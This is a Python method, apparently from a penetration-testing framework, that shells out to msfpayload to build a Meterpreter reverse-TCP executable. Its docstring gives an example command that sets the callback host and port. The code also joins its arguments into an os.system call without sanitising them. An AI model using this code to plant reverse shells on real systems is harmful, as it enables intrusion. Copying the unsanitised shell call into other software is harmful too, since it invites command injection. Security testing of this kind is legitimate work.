'This method should be implemented according to the remote operating
system. The idea here is to generate an ELF/PE file and return a string
that represents it.
The method will basically run something like:
msfpayload linux/x86/meterpreter/reverse_tcp LHOST=1.2.3.4 LPORT=8443 X > /tmp/output2.exe
:param payload: The payload to generate (linux/x86/meterpreter/reverse_tcp)
:param parameters: A list with the parameters to send to msfpayload [\'LHOST=1.2.3.4\', \'LPORT=8443\']
:return: The name of the generated file, in the example above: "/tmp/output2.exe"'

def _generate_exe(self, payload, parameters):

    temp_dir = tempfile.gettempdir()
    randomness = str(random.randint(0, 293829839))
    output_filename = os.path.join(temp_dir, (('msf-' + randomness) + '.exe'))
    command = ('%s    %s    %s    X    >    %s' % (self._msfpayload_path, payload, '    '.join(parameters), output_filename))
    os.system(command)
    if ('reverse' in payload):
        om.out.console('Remember    to    setup    your    firewall    to    allow    the    reverse    connection!')
    if os.path.isfile(output_filename):
        file_content = file(output_filename).read()
        for tag in ['Invalid', 'Error']:
            if (tag in file_content):
                raise BaseFrameworkException(file_content.strip())
        return output_filename
    else:
        raise BaseFrameworkException('Something    failed    while    creating    the    payload    file.')
